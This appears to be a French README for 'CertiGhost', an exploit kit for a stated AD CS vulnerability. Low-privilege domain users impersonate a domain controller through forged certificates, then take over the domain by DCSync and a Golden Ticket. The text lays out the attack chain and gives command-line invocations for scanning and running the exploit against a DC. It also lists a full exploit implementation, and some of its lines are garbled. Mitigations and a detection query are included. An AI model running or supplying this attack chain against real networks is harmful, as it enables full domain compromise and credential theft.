
Kit d'exploitation pour AD CS CVE-2026-54121 : les utilisateurs de domaine à faibles privilèges peuvent usurper l'identité d'un contrôleur de domaine, forger des certificats et compromettre le domaine via DCSync/Golden Ticket.
CertiGhost est une vulnérabilité critique (CVSS 8.8) dans les services de certificats Active Directory (AD CS) qui permet à un utilisateur de domaine à faibles privilèges d'usurper un contrôleur de domaine et de compromettre entièrement le domaine.
Le mécanisme de repli « chase » d'AD CS permet à un demandeur de fournir les attributs cdc (Client DC) et rmd (Remote Domain) dans une demande de certificat. L'AC suit la cible cdc pour résoudre les données d'identité sans vérifier qu'il s'agit d'un contrôleur de domaine légitime.
Chaîne d'attaque :
ms-DS-MachineAccountQuota)cdc pointant vers l'hôte de l'attaquantkrbtgt → Golden Ticket → compromission totale du domaine| Document | Contenu |
|---|---|
| USAGE.md | Guide d'utilisation détaillé avec instructions pas à pas |
| DIAGRAM.md | Schémas de structure et visualisation du flux d'attaque |
Stage 1 Stage 2 Stage 3 Stage 4 Stage 5 Stage 6
LDAP Disc. → Machine Acct → Rogue Svc → Cert Request → PKINIT Auth → DCSync
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
Find DC/CA SAMR create LDAP :389 cdc+rmd attr TGT as DC01$ krbtgt hash
+ SID/DN DESKTOP-XX$ SMB :445 → CA chases → KDC accepts → Golden
+ SPNs relay attacker host cert as DC Ticket
Voir DIAGRAM.md pour les schémas d'architecture complets.
pip install -r requirements.txt
# Unauthenticated scan
python ad_detect.py
# Authenticated scan (recommended)
python ad_detect.py -u DOMAIN\\username -p 'Password123'
# With specific DC
python ad_detect.py -u DOMAIN\\user -p 'pass' --dc-ip 10.x.x.x
python certighost_test.py -d example.com --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' \
--dc-ip 10.0.0.10 --attacker-ip 10.0.0.99 --exploit
ms-DS-MachineAccountQuotaEDITF_ENABLECHA SECLIENTDCms-DS-MachineAccountQuota > 0 (par défaut : 10)# Apply July 2026 Security Update on all CA servers
# Temporary mitigation - disable chase fallback
certutil -setreg policy\EditFlags -EDITF_ENABLECHA SECLIENTDC
Restart-Service CertSvc -Force
ms-DS-MachineAccountQuota sur 0ENROLLEE_SUPPLIES_SUBJECT des modèlescdc/rmdSelon le blog Microsoft Threat Protection, déployez la requête de chasse avancée suivante :
// Detect CertiGhost certificate requests with cdc/rmd attributes
let CertSvcEvents = DeviceEvents
| where ActionType == "CertSvcRequestSubmitted"
| extend RequestAttributes = parse_json(AdditionalFields).RequestAttributes
| where RequestAttributes has "cdc" or RequestAttributes has "rmd";
CertSvcEvents
| project Timestamp, DeviceName, InitiatingProcessAccountName, RequestAttributes
| Fichier | Description |
|---|
certighost_exploit.py | Implémentation complète de la chaîne d'exploitation |
certighost_test.py | Kit de détection et d'exploitation avec CLI |
ad_detect.py | Analyse de détection ciblée rapide |
test_exploit.py | Tests unitaires pour tous les composants de l'exploit (55 tests) |
requirements.txt | Dépendances Python |